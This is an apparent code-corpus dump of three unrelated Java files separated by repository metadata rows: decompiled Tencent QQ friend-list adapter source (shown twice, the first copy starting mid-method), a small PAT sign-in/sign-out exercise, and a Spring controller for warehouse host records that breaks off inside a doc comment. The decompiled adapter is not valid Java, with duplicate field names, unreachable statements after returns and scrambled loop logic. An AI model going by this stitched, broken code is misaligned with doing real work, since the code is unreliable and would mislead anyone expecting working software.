localObject1 = this.jdField_a_of_type_JavaUtilLinkedHashMap;
this.jdField_a_of_type_JavaUtilLinkedHashMap = new LinkedHashMap();
for (char c = 'A'; c <= 'Z'; c = (char)(c + '\001')) {
if (((LinkedHashMap)localObject1).get(String.valueOf(c)) != null) {
this.jdField_a_of_type_JavaUtilLinkedHashMap.put(String.valueOf(c), ((LinkedHashMap)localObject1).get(String.valueOf(c)));
}
}
if (((LinkedHashMap)localObject1).get("#") != null) {
this.jdField_a_of_type_JavaUtilLinkedHashMap.put("#", ((LinkedHashMap)localObject1).get("#"));
}
((LinkedHashMap)localObject1).clear();
this.jdField_a_of_type_ArrayOfInt = new int[this.jdField_a_of_type_JavaUtilLinkedHashMap.keySet().size()];
this.jdField_a_of_type_ArrayOfJavaLangString = new String[this.jdField_a_of_type_ArrayOfInt.length];
localObject1 = this.jdField_a_of_type_JavaUtilLinkedHashMap.keySet().iterator();
if (this.jdField_a_of_type_ArrayOfInt.length == 0) {
return;
}
this.jdField_a_of_type_ArrayOfInt[0] = 0;
int i = 1;
while (i < this.jdField_a_of_type_ArrayOfInt.length)
{
localObject2 = this.jdField_a_of_type_ArrayOfInt;
int j = localObject2[i];
int k = this.jdField_a_of_type_ArrayOfInt[(i - 1)];
localObject2[i] = (((List)this.jdField_a_of_type_JavaUtilLinkedHashMap.get(((Iterator)localObject1).next())).size() + k + 1 + j);
i += 1;
}
localObject1 = this.jdField_a_of_type_JavaUtilLinkedHashMap.keySet().iterator();
i = 0;
while (((Iterator)localObject1).hasNext())
{
this.jdField_a_of_type_ArrayOfJavaLangString[i] = ((String)((Iterator)localObject1).next());
i += 1;
}
LogUtility.c(DeviceFriendListOpenFrame.jdField_a_of_type_JavaLangString, "-->end constructHashStruct()");
}
public void a(View paramView, int paramInt)
{
int i = Arrays.binarySearch(this.jdField_a_of_type_ArrayOfInt, paramInt);
paramInt = i;
if (i < 0) {
paramInt = -(i + 1) - 1;
}
if ((paramInt < 0) || (paramInt >= this.jdField_a_of_type_ArrayOfJavaLangString.length)) {
return;
}
((TextView)paramView).setText(this.jdField_a_of_type_ArrayOfJavaLangString[paramInt]);
}
public boolean a(int paramInt)
{
return Arrays.binarySearch(this.jdField_a_of_type_ArrayOfInt, paramInt) >= 0;
}
public void b()
{
a();
super.notifyDataSetChanged();
}
public int getCount()
{
if (this.jdField_a_of_type_ArrayOfInt.length == 0) {
return 0;
}
int i = this.jdField_a_of_type_ArrayOfInt[(this.jdField_a_of_type_ArrayOfInt.length - 1)];
return ((List)this.jdField_a_of_type_JavaUtilLinkedHashMap.get(this.jdField_a_of_type_ArrayOfJavaLangString[(this.jdField_a_of_type_ArrayOfJavaLangString.length - 1)])).size() + i + 1;
}
public Object getItem(int paramInt)
{
int i = Arrays.binarySearch(this.jdField_a_of_type_ArrayOfInt, paramInt);
if (i >= 0) {
return null;
}
i = -(i + 1) - 1;
List localList = (List)this.jdField_a_of_type_JavaUtilLinkedHashMap.get(this.jdField_a_of_type_ArrayOfJavaLangString[i]);
paramInt = paramInt - this.jdField_a_of_type_ArrayOfInt[i] - 1;
if ((paramInt >= 0) && (paramInt < localList.size())) {
return localList.get(paramInt);
}
return null;
}
public long getItemId(int paramInt)
{
return 0L;
}
public View getView(int paramInt, View paramView, ViewGroup paramViewGroup)
{
int i = Arrays.binarySearch(this.jdField_a_of_type_ArrayOfInt, paramInt);
Friend localFriend;
label185:
label227:
Bitmap localBitmap;
if (paramView == null)
{
paramView = this.jdField_a_of_type_ComTencentOpenAgentDeviceFriendListOpenFrame.jdField_a_of_type_AndroidViewLayoutInflater.inflate(2130904416, paramViewGroup, false);
paramViewGroup = new DeviceFriendListOpenFrame.ViewHolder();
paramViewGroup.c = ((RelativeLayout)paramView.findViewById(2131297504));
paramViewGroup.e = ((TextView)paramView.findViewById(2131297503));
paramViewGroup.jdField_a_of_type_AndroidWidgetCheckBox = ((CheckBox)paramView.findViewById(2131297505));
paramViewGroup.b = ((ImageView)paramView.findViewById(2131296551));
paramViewGroup.f = ((TextView)paramView.findViewById(2131296582));
paramView.setTag(paramViewGroup);
if (i >= 0) {
break label433;
}
i = -(i + 1) - 1;
localFriend = (Friend)((List)this.jdField_a_of_type_JavaUtilLinkedHashMap.get(this.jdField_a_of_type_ArrayOfJavaLangString[i])).get(paramInt - this.jdField_a_of_type_ArrayOfInt[i] - 1);
if (!this.jdField_a_of_type_ComTencentOpenAgentDeviceFriendListOpenFrame.jdField_a_of_type_ComTencentOpenAgentDatamodelFriendDataManager.a(localFriend.jdField_a_of_type_JavaLangString)) {
break label385;
}
paramViewGroup.jdField_a_of_type_AndroidWidgetCheckBox.setChecked(true);
if ((this.jdField_a_of_type_ComTencentOpenAgentDeviceFriendListOpenFrame.jdField_a_of_type_ComTencentOpenAgentFriendChooser.b == null) || (!this.jdField_a_of_type_ComTencentOpenAgentDeviceFriendListOpenFrame.jdField_a_of_type_ComTencentOpenAgentFriendChooser.b.contains(localFriend.jdField_a_of_type_JavaLangString))) {
break label396;
}
paramViewGroup.jdField_a_of_type_AndroidWidgetCheckBox.setEnabled(false);
if ((localFriend.d == null) || ("".equals(localFriend.d))) {
localFriend.d = QZonePortraitData.a(this.jdField_a_of_type_ComTencentOpenAgentDeviceFriendListOpenFrame.jdField_a_of_type_ComTencentOpenAgentFriendChooser.a(), localFriend.jdField_a_of_type_JavaLangString);
}
paramViewGroup.jdField_a_of_type_JavaLangString = localFriend.d;
paramViewGroup.c.setVisibility(0);
paramViewGroup.e.setVisibility(8);
localBitmap = ImageLoader.a().a(localFriend.d);
if (localBitmap != null) {
break label407;
}
paramViewGroup.b.setImageResource(2130838406);
ImageLoader.a().a(localFriend.d, this.jdField_a_of_type_ComTencentOpenAgentDeviceFriendListOpenFrame);
}
for (;;)
{
if ((localFriend.c != null) && (!"".equals(localFriend.c))) {
break label419;
}
paramViewGroup.f.setText(localFriend.b);
return paramView;
paramViewGroup = (DeviceFriendListOpenFrame.ViewHolder)paramView.getTag();
break;
label385:
paramViewGroup.jdField_a_of_type_AndroidWidgetCheckBox.setChecked(false);
break label185;
label396:
paramViewGroup.jdField_a_of_type_AndroidWidgetCheckBox.setEnabled(true);
break label227;
label407:
paramViewGroup.b.setImageBitmap(localBitmap);
}
label419:
paramViewGroup.f.setText(localFriend.c);
return paramView;
label433:
paramViewGroup.c.setVisibility(8);
paramViewGroup.e.setVisibility(0);
paramViewGroup.e.setText(String.valueOf(this.jdField_a_of_type_ArrayOfJavaLangString[i]));
return paramView;
}
}
/* Location: L:\local\mybackup\temp\qq_apk\com.tencent.minihd.qq\assets\exlibs.2.jar\classes.jar
* Qualified Name: com.tencent.open.agent.DeviceFriendListOpenFrame.FriendListAdapter
* JD-Core Version: 0.7.0.1
*/
|
UTF-8
|
Java
| 10,666 |
java
|
DeviceFriendListOpenFrame$FriendListAdapter.java
|
Java
|
[] | null |
[] |
package com.tencent.open.agent;
import android.graphics.Bitmap;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.CheckBox;
import android.widget.ImageView;
import android.widget.RelativeLayout;
import android.widget.TextView;
import com.tencent.mobileqq.widget.PinnedDividerListView.DividerAdapter;
import com.tencent.open.agent.datamodel.Friend;
import com.tencent.open.agent.datamodel.FriendDataManager;
import com.tencent.open.agent.datamodel.ImageLoader;
import com.tencent.open.agent.datamodel.QZonePortraitData;
import com.tencent.open.base.LogUtility;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.Iterator;
import java.util.LinkedHashMap;
import java.util.List;
import java.util.Set;
public class DeviceFriendListOpenFrame$FriendListAdapter
extends PinnedDividerListView.DividerAdapter
{
protected LinkedHashMap a;
protected int[] a;
protected String[] a;
public DeviceFriendListOpenFrame$FriendListAdapter(DeviceFriendListOpenFrame paramDeviceFriendListOpenFrame)
{
this.jdField_a_of_type_JavaUtilLinkedHashMap = new LinkedHashMap();
this.jdField_a_of_type_ArrayOfJavaLangString = new String[0];
this.jdField_a_of_type_ArrayOfInt = new int[0];
a();
}
public int a()
{
return 2130903362;
}
public int a(String paramString)
{
int i;
if (this.jdField_a_of_type_ArrayOfJavaLangString != null)
{
i = 0;
if (i >= this.jdField_a_of_type_ArrayOfJavaLangString.length) {
break label53;
}
if (!this.jdField_a_of_type_ArrayOfJavaLangString[i].equals(paramString)) {}
}
for (;;)
{
if (i >= 0)
{
return this.jdField_a_of_type_ArrayOfInt[i];
i += 1;
break;
}
return -1;
return -1;
label53:
i = -1;
}
}
protected void a()
{
this.jdField_a_of_type_JavaUtilLinkedHashMap.clear();
Object localObject1 = this.jdField_a_of_type_ComTencentOpenAgentDeviceFriendListOpenFrame.jdField_a_of_type_ComTencentOpenAgentDatamodelFriendDataManager.a();
LogUtility.c(DeviceFriendListOpenFrame.jdField_a_of_type_JavaLangString, "-->start constructHashStruct()");
Object localObject2 = ((List)localObject1).iterator();
if (((Iterator)localObject2).hasNext())
{
Friend localFriend = (Friend)((Iterator)localObject2).next();
if ((localFriend.e == null) || (localFriend.e.length() == 0))
{
localObject1 = "#";
label81:
i = ((String)localObject1).charAt(0);
if (((65 > i) || (i > 90)) && ((97 > i) || (i > 122))) {
break label186;
}
}
label186:
for (localObject1 = ((String)localObject1).toUpperCase();; localObject1 = "#")
{
if (this.jdField_a_of_type_JavaUtilLinkedHashMap.get(localObject1) == null) {
this.jdField_a_of_type_JavaUtilLinkedHashMap.put(localObject1, new ArrayList());
}
((List)this.jdField_a_of_type_JavaUtilLinkedHashMap.get(localObject1)).add(localFriend);
break;
localObject1 = localFriend.e.substring(0, 1);
break label81;
}
}
localObject1 = this.jdField_a_of_type_JavaUtilLinkedHashMap;
this.jdField_a_of_type_JavaUtilLinkedHashMap = new LinkedHashMap();
for (char c = 'A'; c <= 'Z'; c = (char)(c + '\001')) {
if (((LinkedHashMap)localObject1).get(String.valueOf(c)) != null) {
this.jdField_a_of_type_JavaUtilLinkedHashMap.put(String.valueOf(c), ((LinkedHashMap)localObject1).get(String.valueOf(c)));
}
}
if (((LinkedHashMap)localObject1).get("#") != null) {
this.jdField_a_of_type_JavaUtilLinkedHashMap.put("#", ((LinkedHashMap)localObject1).get("#"));
}
((LinkedHashMap)localObject1).clear();
this.jdField_a_of_type_ArrayOfInt = new int[this.jdField_a_of_type_JavaUtilLinkedHashMap.keySet().size()];
this.jdField_a_of_type_ArrayOfJavaLangString = new String[this.jdField_a_of_type_ArrayOfInt.length];
localObject1 = this.jdField_a_of_type_JavaUtilLinkedHashMap.keySet().iterator();
if (this.jdField_a_of_type_ArrayOfInt.length == 0) {
return;
}
this.jdField_a_of_type_ArrayOfInt[0] = 0;
int i = 1;
while (i < this.jdField_a_of_type_ArrayOfInt.length)
{
localObject2 = this.jdField_a_of_type_ArrayOfInt;
int j = localObject2[i];
int k = this.jdField_a_of_type_ArrayOfInt[(i - 1)];
localObject2[i] = (((List)this.jdField_a_of_type_JavaUtilLinkedHashMap.get(((Iterator)localObject1).next())).size() + k + 1 + j);
i += 1;
}
localObject1 = this.jdField_a_of_type_JavaUtilLinkedHashMap.keySet().iterator();
i = 0;
while (((Iterator)localObject1).hasNext())
{
this.jdField_a_of_type_ArrayOfJavaLangString[i] = ((String)((Iterator)localObject1).next());
i += 1;
}
LogUtility.c(DeviceFriendListOpenFrame.jdField_a_of_type_JavaLangString, "-->end constructHashStruct()");
}
public void a(View paramView, int paramInt)
{
int i = Arrays.binarySearch(this.jdField_a_of_type_ArrayOfInt, paramInt);
paramInt = i;
if (i < 0) {
paramInt = -(i + 1) - 1;
}
if ((paramInt < 0) || (paramInt >= this.jdField_a_of_type_ArrayOfJavaLangString.length)) {
return;
}
((TextView)paramView).setText(this.jdField_a_of_type_ArrayOfJavaLangString[paramInt]);
}
public boolean a(int paramInt)
{
return Arrays.binarySearch(this.jdField_a_of_type_ArrayOfInt, paramInt) >= 0;
}
public void b()
{
a();
super.notifyDataSetChanged();
}
public int getCount()
{
if (this.jdField_a_of_type_ArrayOfInt.length == 0) {
return 0;
}
int i = this.jdField_a_of_type_ArrayOfInt[(this.jdField_a_of_type_ArrayOfInt.length - 1)];
return ((List)this.jdField_a_of_type_JavaUtilLinkedHashMap.get(this.jdField_a_of_type_ArrayOfJavaLangString[(this.jdField_a_of_type_ArrayOfJavaLangString.length - 1)])).size() + i + 1;
}
public Object getItem(int paramInt)
{
int i = Arrays.binarySearch(this.jdField_a_of_type_ArrayOfInt, paramInt);
if (i >= 0) {
return null;
}
i = -(i + 1) - 1;
List localList = (List)this.jdField_a_of_type_JavaUtilLinkedHashMap.get(this.jdField_a_of_type_ArrayOfJavaLangString[i]);
paramInt = paramInt - this.jdField_a_of_type_ArrayOfInt[i] - 1;
if ((paramInt >= 0) && (paramInt < localList.size())) {
return localList.get(paramInt);
}
return null;
}
public long getItemId(int paramInt)
{
return 0L;
}
public View getView(int paramInt, View paramView, ViewGroup paramViewGroup)
{
int i = Arrays.binarySearch(this.jdField_a_of_type_ArrayOfInt, paramInt);
Friend localFriend;
label185:
label227:
Bitmap localBitmap;
if (paramView == null)
{
paramView = this.jdField_a_of_type_ComTencentOpenAgentDeviceFriendListOpenFrame.jdField_a_of_type_AndroidViewLayoutInflater.inflate(2130904416, paramViewGroup, false);
paramViewGroup = new DeviceFriendListOpenFrame.ViewHolder();
paramViewGroup.c = ((RelativeLayout)paramView.findViewById(2131297504));
paramViewGroup.e = ((TextView)paramView.findViewById(2131297503));
paramViewGroup.jdField_a_of_type_AndroidWidgetCheckBox = ((CheckBox)paramView.findViewById(2131297505));
paramViewGroup.b = ((ImageView)paramView.findViewById(2131296551));
paramViewGroup.f = ((TextView)paramView.findViewById(2131296582));
paramView.setTag(paramViewGroup);
if (i >= 0) {
break label433;
}
i = -(i + 1) - 1;
localFriend = (Friend)((List)this.jdField_a_of_type_JavaUtilLinkedHashMap.get(this.jdField_a_of_type_ArrayOfJavaLangString[i])).get(paramInt - this.jdField_a_of_type_ArrayOfInt[i] - 1);
if (!this.jdField_a_of_type_ComTencentOpenAgentDeviceFriendListOpenFrame.jdField_a_of_type_ComTencentOpenAgentDatamodelFriendDataManager.a(localFriend.jdField_a_of_type_JavaLangString)) {
break label385;
}
paramViewGroup.jdField_a_of_type_AndroidWidgetCheckBox.setChecked(true);
if ((this.jdField_a_of_type_ComTencentOpenAgentDeviceFriendListOpenFrame.jdField_a_of_type_ComTencentOpenAgentFriendChooser.b == null) || (!this.jdField_a_of_type_ComTencentOpenAgentDeviceFriendListOpenFrame.jdField_a_of_type_ComTencentOpenAgentFriendChooser.b.contains(localFriend.jdField_a_of_type_JavaLangString))) {
break label396;
}
paramViewGroup.jdField_a_of_type_AndroidWidgetCheckBox.setEnabled(false);
if ((localFriend.d == null) || ("".equals(localFriend.d))) {
localFriend.d = QZonePortraitData.a(this.jdField_a_of_type_ComTencentOpenAgentDeviceFriendListOpenFrame.jdField_a_of_type_ComTencentOpenAgentFriendChooser.a(), localFriend.jdField_a_of_type_JavaLangString);
}
paramViewGroup.jdField_a_of_type_JavaLangString = localFriend.d;
paramViewGroup.c.setVisibility(0);
paramViewGroup.e.setVisibility(8);
localBitmap = ImageLoader.a().a(localFriend.d);
if (localBitmap != null) {
break label407;
}
paramViewGroup.b.setImageResource(2130838406);
ImageLoader.a().a(localFriend.d, this.jdField_a_of_type_ComTencentOpenAgentDeviceFriendListOpenFrame);
}
for (;;)
{
if ((localFriend.c != null) && (!"".equals(localFriend.c))) {
break label419;
}
paramViewGroup.f.setText(localFriend.b);
return paramView;
paramViewGroup = (DeviceFriendListOpenFrame.ViewHolder)paramView.getTag();
break;
label385:
paramViewGroup.jdField_a_of_type_AndroidWidgetCheckBox.setChecked(false);
break label185;
label396:
paramViewGroup.jdField_a_of_type_AndroidWidgetCheckBox.setEnabled(true);
break label227;
label407:
paramViewGroup.b.setImageBitmap(localBitmap);
}
label419:
paramViewGroup.f.setText(localFriend.c);
return paramView;
label433:
paramViewGroup.c.setVisibility(8);
paramViewGroup.e.setVisibility(0);
paramViewGroup.e.setText(String.valueOf(this.jdField_a_of_type_ArrayOfJavaLangString[i]));
return paramView;
}
}
/* Location: L:\local\mybackup\temp\qq_apk\com.tencent.minihd.qq\assets\exlibs.2.jar\classes.jar
* Qualified Name: com.tencent.open.agent.DeviceFriendListOpenFrame.FriendListAdapter
* JD-Core Version: 0.7.0.1
*/
| 10,666 | 0.669229 | 0.64804 | 270 | 37.525925 | 42.58157 | 325 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.62963 | false | false |
8
|
b558eb96d3b059b7a78771870ef7ef66c56f7bcc
| 24,601,572,707,103 |
a09d095f17d98e8b788779b5539b04d026329a32
|
/Main6.java
|
5d266873498a85276159de1ba9629f7592f961cf
|
[] |
no_license
|
lbkqkdcjx/PAT-1
|
https://github.com/lbkqkdcjx/PAT-1
|
6623e5f437452b981ad5c5c9faee4d714fbe6924
|
ca80ddc0862b943a59aa1c82a7807d77c99b52be
|
refs/heads/master
| 2021-01-25T23:53:02.104000 | 2018-03-14T08:55:07 | 2018-03-14T08:55:07 | null | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null |
package pat;
import java.util.Scanner;
public class Main6 {
public static class record {
String id;
Data in;
Data out;
public record(String Id, String In, String Out) {
id = Id;
in = new Data(In);
out = new Data(Out);
}
}
public static class Data {
public int hour;
public int min;
public int sec;
public Data(String str) {
hour = Integer.parseInt(str.substring(0, 2));
min = Integer.parseInt(str.substring(3, 5));
sec = Integer.parseInt(str.substring(6));
}
public int earlyThan (Data d) {
// big than 1 means earlier
if (this.hour != d.hour) {
return d.hour - this.hour;
}
if (this.min != d.min) {
return d.min - this.min;
}
if (this.sec != d.sec) {
return d.sec - this.sec;
}
return 0;
}
}
public static void main(String[] args) {
int n = 0;
int first = 0;
int last = 0;
Scanner in = new Scanner(System.in);
n = in.nextInt();
record[] rec = new record[n];
for (int i = 0; i < n; i++) {
rec[i] = new record(in.next(), in.next(), in.next());
}
in.close();
for (int i = 0; i < rec.length; i++) {
if (rec[i].in.earlyThan(rec[first].in) > 0) {
first = i;
}
if (rec[i].out.earlyThan(rec[last].out) < 0) {
last = i;
}
}
System.out.println(rec[first].id + " " + rec[last].id);
}
}
|
UTF-8
|
Java
| 1,402 |
java
|
Main6.java
|
Java
|
[] | null |
[] |
package pat;
import java.util.Scanner;
public class Main6 {
public static class record {
String id;
Data in;
Data out;
public record(String Id, String In, String Out) {
id = Id;
in = new Data(In);
out = new Data(Out);
}
}
public static class Data {
public int hour;
public int min;
public int sec;
public Data(String str) {
hour = Integer.parseInt(str.substring(0, 2));
min = Integer.parseInt(str.substring(3, 5));
sec = Integer.parseInt(str.substring(6));
}
public int earlyThan (Data d) {
// big than 1 means earlier
if (this.hour != d.hour) {
return d.hour - this.hour;
}
if (this.min != d.min) {
return d.min - this.min;
}
if (this.sec != d.sec) {
return d.sec - this.sec;
}
return 0;
}
}
public static void main(String[] args) {
int n = 0;
int first = 0;
int last = 0;
Scanner in = new Scanner(System.in);
n = in.nextInt();
record[] rec = new record[n];
for (int i = 0; i < n; i++) {
rec[i] = new record(in.next(), in.next(), in.next());
}
in.close();
for (int i = 0; i < rec.length; i++) {
if (rec[i].in.earlyThan(rec[first].in) > 0) {
first = i;
}
if (rec[i].out.earlyThan(rec[last].out) < 0) {
last = i;
}
}
System.out.println(rec[first].id + " " + rec[last].id);
}
}
| 1,402 | 0.536377 | 0.525678 | 68 | 18.558823 | 16.193119 | 57 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 2.676471 | false | false |
8
|
e55318c322d22faf6deb26e167b525cc072c704d
| 11,132,555,245,702 |
795ba0ff3fed9d2d9a800ee9ba207cccc73c235b
|
/cold-eye-admin/src/main/java/com/xyueji/coldeye/admin/controller/HostController.java
|
ca35ef2b929048067511c33eed824e951b773065
|
[] |
no_license
|
xyueji/cold-eye
|
https://github.com/xyueji/cold-eye
|
362ad614bafcdeafbbb0158c6a90e927ca8c4c5e
|
b80f08c421950fb4680f2791493dfc5e109157d5
|
refs/heads/main
| 2023-02-27T06:49:19.706000 | 2021-02-01T12:04:04 | 2021-02-01T12:04:04 | 333,365,327 | 3 | 1 | null | null | null | null | null | null | null | null | null | null | null | null | null |
package com.xyueji.coldeye.admin.controller;
import com.xyueji.coldeye.admin.service.HostService;
import com.xyueji.coldeye.common.admin.entity.HostEntity;
import com.xyueji.coldeye.common.utils.MD5Util;
import com.xyueji.coldeye.common.utils.PageUtils;
import com.xyueji.coldeye.common.utils.ResultResp;
import org.springframework.web.bind.annotation.*;
import javax.annotation.Resource;
import java.util.Map;
/**
* @author xiongzhigang
* @date 2021-01-27 15:54
* @description
*/
@RestController
@RequestMapping("admin/host")
public class HostController {
@Resource
private HostService hostService;
/**
* @api {GET} admin/host/list 主机列表
* @apiDescription 主机列表
* @apiGroup HostController
* @apiParam {Integer} page 当前页
* @apiParam {Integer} pagesize 页大小
* @apiParam {String} houseId 库房ID
* @apiParam {String} houseName 库房名称
* @apiParam {String} hostCode 主机编码
* @apiParam {String} hostName 主机名称
*
* @apiParamExample {json} 请求示例:
* {
* "page": 1,
* "pagesize": 10,
* "houseId": "xxx",
* "houseName": "xxx",
* "hostCode": "xxx",
* "hostName": "xxx"
* }
* @apiSuccessExample {json} 成功响应:
* HTTP/1.1 200 OK
* {
* "status": 200,
* "data": {
* "totalCount": 1,
* "pageSize": 10,
* "totalPage": 1,
* "currPage": 1,
* "list": [
* {
* "id": "436afea4d22ca5847eddcd367e3ac3b4",
* "hostCode": "H20210129",
* "hostName": "H20210129",
* "houseId": "efc0e2f5988676b44b10ff8364cd9253",
* "houseCode": "house1",
* "houseName": "昌平一号仓",
* "hostStatus": 1,
* "hostModel": "xxx",
* "simCode": "2112324",
* "createdTime": "2021-01-29 14:38:16",
* "updateTime": "2021-01-29 14:38:16"
* }
* ],
* "pageMap": {
* "total": 1,
* "page": 1,
* "items": [
* {
* "id": "436afea4d22ca5847eddcd367e3ac3b4",
* "hostCode": "H20210129",
* "hostName": "H20210129",
* "houseId": "efc0e2f5988676b44b10ff8364cd9253",
* "houseCode": "house1",
* "houseName": "昌平一号仓",
* "hostStatus": 1,
* "hostModel": "xxx",
* "simCode": "2112324",
* "createdTime": "2021-01-29 14:38:16",
* "updateTime": "2021-01-29 14:38:16"
* }
* ]
* }
* }
* }
* @apiVersion 1.0.0
*/
@RequestMapping("list")
public ResultResp list(@RequestParam Map<String, Object> params) {
PageUtils res = hostService.queryPage(params);
return ResultResp.success(res);
}
/**
* @api {GET} admin/host/info/{id} 根据ID获取主机信息
* @apiDescription 根据ID获取主机信息
* @apiGroup HostController
* @apiParam {Long} id 主机ID
*
* @apiParamExample {json} 请求示例:
* {
*
* }
* @apiSuccessExample {json} 成功响应:
* HTTP/1.1 200 OK
* {
* "status": 200,
* "data": {
* "id": "436afea4d22ca5847eddcd367e3ac3b4",
* "hostCode": "H20210129",
* "hostName": "H20210129",
* "houseId": "efc0e2f5988676b44b10ff8364cd9253",
* "houseCode": "house1",
* "houseName": "昌平一号仓",
* "hostStatus": 1,
* "hostModel": "xxx",
* "simCode": "2112324",
* "createdTime": "2021-01-29 14:38:16",
* "updateTime": "2021-01-29 14:38:16"
* }
* }
* @apiVersion 1.0.0
*/
@RequestMapping("info/{id}")
public ResultResp info(@PathVariable("id") String id) {
HostEntity hostEntity = hostService.getById(id);
return ResultResp.success(hostEntity);
}
/**
* @api {GET} admin/host/save 新增主机信息
* @apiDescription 新增主机信息
* @apiGroup HostController
* @apiParam {String} hostCode 主机编码
* @apiParam {String} hostName 主机名称
* @apiParam {String} houseId 仓库Id
* @apiParam {String} houseCode 仓库编码
* @apiParam {String} houseName 仓库名称
* @apiParam {String} hostStatus 主机状态:1-正常,0-停用
* @apiParam {String} hostModel 设备型号
* @apiParam {String} simCode sim卡号
*
* @apiParamExample {json} 请求示例:
* {
* "hostCode":"xxx",
* "hostName":"xxx",
* "houseId":"xxx",
* "houseCode" :"xxx",
* "houseName" :"xxx",
* "hostStatus":"xxx",
* "hostModel":"xxx",
* "simCode":"xxx",
* }
* @apiSuccessExample {json} 成功响应:
* HTTP/1.1 200 OK
* {
* "code":"0",
* "msg":"success",
* "data":{
*
* }
* }
* @apiVersion 1.0.0
*/
@RequestMapping("save")
public ResultResp save(@RequestBody HostEntity hostEntity) {
hostEntity.setId(MD5Util.enCodeByMd5(hostEntity.toString()));
hostService.save(hostEntity);
return ResultResp.success("保存成功!");
}
/**
* @api {GET} admin/host/update 更新主机信息
* @apiDescription 更新主机信息
* @apiGroup HostController
* @apiParam {String} hostCode 主机编码
* @apiParam {String} hostName 主机名称
* @apiParam {String} houseId 仓库Id
* @apiParam {String} houseCode 仓库编码
* @apiParam {String} houseName 仓库名称
* @apiParam {String} hostStatus 主机状态:1-正常,0-停用
* @apiParam {String} hostModel 设备型号
* @apiParam {String} simCode sim卡号
*
* @apiParamExample {json} 请求示例:
* {
* "hostCode":"xxx",
* "hostName":"xxx",
* "houseId":"xxx",
* "houseCode" :"xxx",
* "houseName" :"xxx",
* "hostStatus":"xxx",
* "hostModel":"xxx",
* "simCode":"xxx",
* }
* @apiSuccessExample {json} 成功响应:
* HTTP/1.1 200 OK
* {
* "code":"0",
* "msg":"success",
* "data":{
*
* }
* }
* @apiVersion 1.0.0
*/
@RequestMapping("update")
public ResultResp update(@RequestBody HostEntity hostEntity) {
hostService.updateById(hostEntity);
return ResultResp.success("更新成功!");
}
/**
* @api {GET} admin/host/delete 删除主机信息
* @apiDescription 删除主机信息
* @apiGroup HostController
* @apiParam {String} id 主机ID
*
* @apiParamExample {json} 请求示例:
* {
* "id": "xxx"
* }
* @apiSuccessExample {json} 成功响应:
* HTTP/1.1 200 OK
* {
* "code":"0",
* "msg":"success",
* "data":{
*
* }
* }
* @apiVersion 1.0.0
*/
@RequestMapping("delete")
public ResultResp delete(String id) {
hostService.removeById(id);
return ResultResp.success("删除成功!");
}
}
|
UTF-8
|
Java
| 7,098 |
java
|
HostController.java
|
Java
|
[
{
"context": "on.Resource;\nimport java.util.Map;\n\n/**\n * @author xiongzhigang\n * @date 2021-01-27 15:54\n * @description\n */\n@Re",
"end": 441,
"score": 0.9995949864387512,
"start": 429,
"tag": "USERNAME",
"value": "xiongzhigang"
},
{
"context": "\"items\": [\n * {\n * \"id\": \"436afea4d22ca5847eddcd367e3ac3b4\",\n * \"hostCode\": \"H20210129\",\n * ",
"end": 2067,
"score": 0.6244474053382874,
"start": 2035,
"tag": "KEY",
"value": "436afea4d22ca5847eddcd367e3ac3b4"
},
{
"context": "\"status\": 200,\n * \"data\": {\n * \"id\": \"436afea4d22ca5847eddcd367e3ac3b4\",\n * \"hostC",
"end": 3140,
"score": 0.6952343583106995,
"start": 3139,
"tag": "KEY",
"value": "4"
},
{
"context": " {\n * \"id\": \"436afea4d22ca5847eddcd367e3ac3b4\",\n * \"hostCode\": \"H20210129\",\n * \"",
"end": 3170,
"score": 0.49191024899482727,
"start": 3169,
"tag": "KEY",
"value": "b"
}
] | null |
[] |
package com.xyueji.coldeye.admin.controller;
import com.xyueji.coldeye.admin.service.HostService;
import com.xyueji.coldeye.common.admin.entity.HostEntity;
import com.xyueji.coldeye.common.utils.MD5Util;
import com.xyueji.coldeye.common.utils.PageUtils;
import com.xyueji.coldeye.common.utils.ResultResp;
import org.springframework.web.bind.annotation.*;
import javax.annotation.Resource;
import java.util.Map;
/**
* @author xiongzhigang
* @date 2021-01-27 15:54
* @description
*/
@RestController
@RequestMapping("admin/host")
public class HostController {
@Resource
private HostService hostService;
/**
* @api {GET} admin/host/list 主机列表
* @apiDescription 主机列表
* @apiGroup HostController
* @apiParam {Integer} page 当前页
* @apiParam {Integer} pagesize 页大小
* @apiParam {String} houseId 库房ID
* @apiParam {String} houseName 库房名称
* @apiParam {String} hostCode 主机编码
* @apiParam {String} hostName 主机名称
*
* @apiParamExample {json} 请求示例:
* {
* "page": 1,
* "pagesize": 10,
* "houseId": "xxx",
* "houseName": "xxx",
* "hostCode": "xxx",
* "hostName": "xxx"
* }
* @apiSuccessExample {json} 成功响应:
* HTTP/1.1 200 OK
* {
* "status": 200,
* "data": {
* "totalCount": 1,
* "pageSize": 10,
* "totalPage": 1,
* "currPage": 1,
* "list": [
* {
* "id": "436afea4d22ca5847eddcd367e3ac3b4",
* "hostCode": "H20210129",
* "hostName": "H20210129",
* "houseId": "efc0e2f5988676b44b10ff8364cd9253",
* "houseCode": "house1",
* "houseName": "昌平一号仓",
* "hostStatus": 1,
* "hostModel": "xxx",
* "simCode": "2112324",
* "createdTime": "2021-01-29 14:38:16",
* "updateTime": "2021-01-29 14:38:16"
* }
* ],
* "pageMap": {
* "total": 1,
* "page": 1,
* "items": [
* {
* "id": "436afea4d22ca5847eddcd367e3ac3b4",
* "hostCode": "H20210129",
* "hostName": "H20210129",
* "houseId": "efc0e2f5988676b44b10ff8364cd9253",
* "houseCode": "house1",
* "houseName": "昌平一号仓",
* "hostStatus": 1,
* "hostModel": "xxx",
* "simCode": "2112324",
* "createdTime": "2021-01-29 14:38:16",
* "updateTime": "2021-01-29 14:38:16"
* }
* ]
* }
* }
* }
* @apiVersion 1.0.0
*/
@RequestMapping("list")
public ResultResp list(@RequestParam Map<String, Object> params) {
PageUtils res = hostService.queryPage(params);
return ResultResp.success(res);
}
/**
* @api {GET} admin/host/info/{id} 根据ID获取主机信息
* @apiDescription 根据ID获取主机信息
* @apiGroup HostController
* @apiParam {Long} id 主机ID
*
* @apiParamExample {json} 请求示例:
* {
*
* }
* @apiSuccessExample {json} 成功响应:
* HTTP/1.1 200 OK
* {
* "status": 200,
* "data": {
* "id": "436afea4d22ca5847eddcd367e3ac3b4",
* "hostCode": "H20210129",
* "hostName": "H20210129",
